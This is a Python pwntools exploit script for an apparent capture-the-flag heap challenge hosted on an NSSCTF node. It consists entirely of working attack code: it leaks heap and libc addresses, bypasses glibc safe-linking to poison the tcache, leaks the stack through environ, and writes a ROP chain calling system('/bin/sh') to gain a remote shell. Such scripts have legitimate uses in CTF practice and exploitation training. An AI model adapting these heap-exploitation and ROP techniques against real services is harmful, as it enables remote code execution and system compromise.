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| from pwn import * import os from ctypes import * from ae64 import AE64 from Crypto.Util.number import bytes_to_long,bytes_to_long
context.clear(arch='amd64', os='linux', log_level='debug')
bk = lambda :(dbg(),pause()) dbg = lambda : gdb.attach(io) mydb = lambda : (lg("[*] pid ==> " + str(io.__getattr__("pid"))), pause()) inter = lambda:io.interactive() re = lambda data: io.recv(data) sd = lambda data: io.send(data) sl = lambda data: io.sendline(data) rl = lambda data: io.recvuntil(data) sa = lambda data, content: io.sendafter(data,content) sla = lambda data, content: io.sendlineafter(data,content) lg = lambda content : print('\x1b[01;38;5;214m' + content +'\x1b[0m') li = lambda content,data : print('\x1b[01;38;5;214m' + content + ' == ' + hex(data) + '\x1b[0m') l64 = lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) def get_sb(): return libc_base + libc.sym['system'], libc_base + next(libc.search("/bin/sh")) def debug(c = 0): if(c): gdb.attach(io, c) else: bk() def raddr(a=6): if(a==6): return u64(rv(a).ljust(8,b'\x00')) else: return u64(rl().strip('\n').ljust(8,b'\x00'))
libc = ELF('/home/henry/Documents/glibc-all-in-one/libs/2.35-0ubuntu3.6_amd64/libc.so.6')
filename = "./pwn"
io = remote("node1.anna.nssctf.cn",28575) elf = ELF(filename)
libc_rop = ROP(libc) pop_rdi_ret = libc_rop.find_gadget(['pop rdi', 'ret'])[0] def add(size, name, content): sla("choice>>", "1") sa("name", name) sla("size", str(size)) sa("content", content)
def show(idx): sla("choice>>", "3") sla("want to query", str(idx))
def edit_name(idx, name, content): sla("choice>>", "4") sla("want to query", str(idx)) sa("change", name) sa("A new letter!!!", content)
def edit_content(idx, content): sla("choice>>", "5") sla("want to query", str(idx)) sa("content", content)
def delete(idx): sla("choice>>", "2") sla("want to query", str(idx))
add(0x30, b'a'*0xf, b'b'*0x20) for i in range(9): add(0x100, b'a'*0xf, b'b'*0x20)
edit_name(0, b'\x00', b'b') edit_name(0, b'\x00', b'\xff')
delete(1) edit_content(0, b'a'*0x40) show(0) rl(b'a'*0x40) heap_base = u64(io.recv(5).ljust(8, b'\x00')) << 12 li("heap_base", heap_base)
edit_content(0, b'a'*0x48) show(0) rl(b'a'*0x48) key = u64(io.recv(8).ljust(8, b'\x00')) li("key", key)
edit_content(0, b'a'*0x30 + p64(0) + p64(0x111) + p64(heap_base >> 12) + p64(key))
for i in range(7): delete(8 - i)
edit_content(0, b'a'*0x150) show(0) rl(b'a'*0x150) libc_base = u64(io.recv(6).ljust(8, b'\x00')) - 0x21ace0 li("libc_base", libc_base) restore_info = b'a'*0x30 + p64(0) + p64(0x111) + p64(heap_base >> 12) + p64(key) + b'\x00'*0xf0 + p64(0) + p64(0x111) + p64(libc_base + 0x21ace0)*2 + b'\x00'*0xf0 edit_content(0, restore_info)
payload = restore_info + p64(0) + p64(0x111) + p64((heap_base + 0x10) ^ (heap_base >> 12)) + p64(key) edit_content(0, payload) add(0x100, b'a', b'a')
payload = b'\x00'*0x1e + b'\x10' environ = libc_base + libc.sym['environ'] payload = payload.ljust(0xf8, b'\x00') + p64(environ-0x20) add(0x100, b'a', payload)
add(0x100, b'a', b'a'*0x20) show(3) stack = l64()
li("environ", environ) li("stack", stack) payload = b'\x00'*0x1e + b'\x10' payload = payload.ljust(0xf8, b'\x00') + p64(stack-0x148) edit_content(2, payload)
system = libc_base + libc.sym['system'] bin_sh = libc_base + next(libc.search(b"/bin/sh")) pop_rdi_ret += libc_base add(0x100, b'a', p64(libc_base + 0x21b000) + p64(pop_rdi_ret+1)+ p64(pop_rdi_ret)+ p64(bin_sh)+p64(system))
inter()
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